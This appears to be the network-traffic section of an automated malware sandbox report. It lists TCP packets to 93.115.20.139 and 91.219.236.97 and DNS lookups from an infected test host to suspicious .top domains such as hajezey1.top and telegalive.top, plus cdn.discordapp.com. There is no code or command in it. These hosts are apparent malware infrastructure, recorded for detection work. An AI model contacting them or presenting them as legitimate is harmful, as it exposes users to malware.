Oct 29, 2021 20:31:07.049186945 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.049530983 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.049918890 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.050390959 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.050801992 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.051246881 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.051587105 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.051691055 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.072634935 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072652102 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072663069 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072674036 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072685003 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072702885 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072715998 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.072937012 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.073348045 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.073863029 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.075342894 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.075766087 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.075862885 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.077208042 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077234983 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077244997 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077255011 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077265024 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077552080 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.077899933 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.078114033 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.078435898 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.078535080 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.102180958 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.102221966 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.102245092 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.102471113 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.102890968 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.103300095 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.103796005 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.104043961 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.104423046 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.104593992 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.104947090 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.104980946 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.105087042 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.105432034 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.105798960 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.106406927 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.106899977 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.107156038 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.107431889 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.107811928 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.107939005 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.129066944 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.129091024 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.129216909 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.129559040 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.129965067 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.130259991 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.130340099 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.130868912 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.131084919 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.131365061 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.131553888 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.131717920 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.131952047 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.131993055 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.132060051 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.133817911 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.133863926 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.133888006 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.133908033 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134017944 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134040117 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134059906 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134123087 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134339094 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.134644985 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.134747028 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.156989098 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.157012939 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.157279968 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.157593012 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.157975912 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158235073 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158493996 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158889055 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158902884 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158910990 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.158922911 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.159020901 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.159270048 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.159364939 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.161156893 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.161257982 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.165035009 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.165062904 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.165076971 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.165277958 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.185434103 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.185703039 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.185723066 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.186439037 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.186464071 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.186479092 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.186491013 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.189728022 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.191071033 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.192615032 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.193907022 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.219885111 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.232141972 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.256495953 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.269686937 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:56.742866993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:31:56.742996931 CEST	49812	80	192.168.2.7	91.219.236.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:29:20.838665962 CEST	54640	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:20.858174086 CEST	53	54640	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:20.869488001 CEST	58739	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:20.886290073 CEST	53	58739	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:21.035674095 CEST	60338	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:21.055284023 CEST	53	60338	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:21.198826075 CEST	58717	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:21.218452930 CEST	53	58717	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:24.045557976 CEST	59762	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:24.064831018 CEST	53	59762	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:24.233254910 CEST	54329	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:24.252674103 CEST	53	54329	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:40.908642054 CEST	58052	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:40.928164005 CEST	53	58052	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:41.073271036 CEST	54008	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:41.092096090 CEST	53	54008	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:41.237492085 CEST	59451	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:41.256978989 CEST	53	59451	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:41.405421019 CEST	52914	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:41.424346924 CEST	53	52914	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:41.578799009 CEST	64569	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:41.596255064 CEST	53	64569	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:43.609565020 CEST	52816	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:43.629235983 CEST	53	52816	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:43.776928902 CEST	50781	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:43.797700882 CEST	53	50781	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:43.944502115 CEST	54230	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:43.961450100 CEST	53	54230	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:44.112785101 CEST	54911	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:44.132520914 CEST	53	54911	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:46.378710985 CEST	49958	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:46.398327112 CEST	53	49958	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:47.086751938 CEST	50860	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:47.106415987 CEST	53	50860	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:47.332381964 CEST	50452	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:47.351737976 CEST	53	50452	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:51.277697086 CEST	59730	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:51.296569109 CEST	53	59730	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:51.466922045 CEST	59310	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:51.484147072 CEST	53	59310	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:51.638843060 CEST	51919	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:51.658396006 CEST	53	51919	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:51.959297895 CEST	64296	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:51.980878115 CEST	53	64296	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:54.015197992 CEST	56680	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:54.034465075 CEST	53	56680	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:54.182153940 CEST	58820	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:54.201314926 CEST	53	58820	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:54.354489088 CEST	60983	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:54.373887062 CEST	53	60983	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:54.526992083 CEST	49247	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:54.544733047 CEST	53	49247	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:54.702974081 CEST	52286	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:54.722946882 CEST	53	52286	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:56.520184040 CEST	63744	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:56.539890051 CEST	53	63744	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:56.689944029 CEST	61457	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:56.710153103 CEST	53	61457	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:56.868458033 CEST	58367	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:56.885906935 CEST	53	58367	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:57.027054071 CEST	60599	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:57.046030998 CEST	53	60599	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:57.194673061 CEST	59571	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:57.213768005 CEST	53	59571	8.8.8.8	192.168.2.7
Oct 29, 2021 20:29:59.856906891 CEST	52689	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:29:59.875693083 CEST	53	52689	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:00.296351910 CEST	50290	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:00.314217091 CEST	53	50290	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:00.473638058 CEST	60427	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:00.493067980 CEST	53	60427	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:01.354440928 CEST	56209	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:01.373661995 CEST	53	56209	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:05.054286957 CEST	59582	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:05.073163986 CEST	53	59582	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:05.295316935 CEST	60949	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:05.314948082 CEST	53	60949	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:06.119055033 CEST	58542	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:06.139359951 CEST	53	58542	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:06.424645901 CEST	59179	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:06.443312883 CEST	53	59179	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:06.687756062 CEST	60927	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:06.707096100 CEST	53	60927	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:09.077034950 CEST	57854	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:09.096445084 CEST	53	57854	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:09.297492981 CEST	62026	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:09.316358089 CEST	53	62026	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:09.509691954 CEST	59453	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:09.528799057 CEST	53	59453	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:09.724762917 CEST	62468	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:09.744049072 CEST	53	62468	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:09.952080965 CEST	52563	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:09.971429110 CEST	53	52563	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:10.313946009 CEST	54721	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:10.332926989 CEST	53	54721	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:11.558921099 CEST	62826	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:11.577822924 CEST	53	62826	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:11.754359961 CEST	62046	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:11.771446943 CEST	53	62046	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:15.527638912 CEST	51223	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:15.547036886 CEST	53	51223	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:18.902455091 CEST	63908	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:18.921991110 CEST	53	63908	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:22.334400892 CEST	49226	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:22.353709936 CEST	53	49226	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:27.885710001 CEST	60212	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:27.903482914 CEST	53	60212	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:31.228348970 CEST	58867	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:31.247653961 CEST	53	58867	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:34.597734928 CEST	50864	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:34.617084026 CEST	53	50864	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:34.653673887 CEST	61504	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:34.676328897 CEST	53	61504	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:41.096571922 CEST	50095	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:41.250916004 CEST	53	50095	8.8.8.8	192.168.2.7
Oct 29, 2021 20:30:41.696048975 CEST	59654	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:30:42.035584927 CEST	53	59654	8.8.8.8	192.168.2.7
Oct 29, 2021 20:31:13.129337072 CEST	58233	53	192.168.2.7	8.8.8.8
Oct 29, 2021 20:31:13.148866892 CEST	53	58233	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 20:29:20.838665962 CEST	192.168.2.7	8.8.8.8	0x73d3	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:20.869488001 CEST	192.168.2.7	8.8.8.8	0x62d1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:21.035674095 CEST	192.168.2.7	8.8.8.8	0xf54e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:21.198826075 CEST	192.168.2.7	8.8.8.8	0x1388	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.045557976 CEST	192.168.2.7	8.8.8.8	0x69fd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.233254910 CEST	192.168.2.7	8.8.8.8	0xb52f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:40.908642054 CEST	192.168.2.7	8.8.8.8	0x8216	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.073271036 CEST	192.168.2.7	8.8.8.8	0xd313	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.237492085 CEST	192.168.2.7	8.8.8.8	0xb99c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.405421019 CEST	192.168.2.7	8.8.8.8	0x83eb	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.578799009 CEST	192.168.2.7	8.8.8.8	0x3cdf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.609565020 CEST	192.168.2.7	8.8.8.8	0x3eb	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.776928902 CEST	192.168.2.7	8.8.8.8	0xd47c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.944502115 CEST	192.168.2.7	8.8.8.8	0x96ee	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:44.112785101 CEST	192.168.2.7	8.8.8.8	0x980d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:46.378710985 CEST	192.168.2.7	8.8.8.8	0x9259	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.086751938 CEST	192.168.2.7	8.8.8.8	0x4d36	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.332381964 CEST	192.168.2.7	8.8.8.8	0x4ce	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.277697086 CEST	192.168.2.7	8.8.8.8	0x4bcb	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.466922045 CEST	192.168.2.7	8.8.8.8	0x8cf9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.638843060 CEST	192.168.2.7	8.8.8.8	0x434a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.959297895 CEST	192.168.2.7	8.8.8.8	0x854b	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.015197992 CEST	192.168.2.7	8.8.8.8	0x585e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.182153940 CEST	192.168.2.7	8.8.8.8	0x64a1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.354489088 CEST	192.168.2.7	8.8.8.8	0x649d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.526992083 CEST	192.168.2.7	8.8.8.8	0x6bc6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.702974081 CEST	192.168.2.7	8.8.8.8	0x9321	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.520184040 CEST	192.168.2.7	8.8.8.8	0x3837	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.689944029 CEST	192.168.2.7	8.8.8.8	0xfe70	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.868458033 CEST	192.168.2.7	8.8.8.8	0xae88	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.027054071 CEST	192.168.2.7	8.8.8.8	0x6041	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.194673061 CEST	192.168.2.7	8.8.8.8	0xe76e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:59.856906891 CEST	192.168.2.7	8.8.8.8	0x5a82	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:00.296351910 CEST	192.168.2.7	8.8.8.8	0x4ffa	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:00.473638058 CEST	192.168.2.7	8.8.8.8	0x9edf	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.354440928 CEST	192.168.2.7	8.8.8.8	0xcd03	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:05.054286957 CEST	192.168.2.7	8.8.8.8	0x2096	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:05.295316935 CEST	192.168.2.7	8.8.8.8	0x6e42	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.119055033 CEST	192.168.2.7	8.8.8.8	0x54c6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.424645901 CEST	192.168.2.7	8.8.8.8	0xf863	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.687756062 CEST	192.168.2.7	8.8.8.8	0x8c61	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.077034950 CEST	192.168.2.7	8.8.8.8	0x9b4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.297492981 CEST	192.168.2.7	8.8.8.8	0x737d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.509691954 CEST	192.168.2.7	8.8.8.8	0x828b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.724762917 CEST	192.168.2.7	8.8.8.8	0xf0a3	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.952080965 CEST	192.168.2.7	8.8.8.8	0xae1e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:10.313946009 CEST	192.168.2.7	8.8.8.8	0x7b34	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:11.558921099 CEST	192.168.2.7	8.8.8.8	0xd85d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:11.754359961 CEST	192.168.2.7	8.8.8.8	0x12c8	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:15.527638912 CEST	192.168.2.7	8.8.8.8	0x14de	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:18.902455091 CEST	192.168.2.7	8.8.8.8	0xdc05	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.334400892 CEST	192.168.2.7	8.8.8.8	0x934d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:27.885710001 CEST	192.168.2.7	8.8.8.8	0x5456	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:31.228348970 CEST	192.168.2.7	8.8.8.8	0xb3ee	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:34.597734928 CEST	192.168.2.7	8.8.8.8	0x3ba2	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
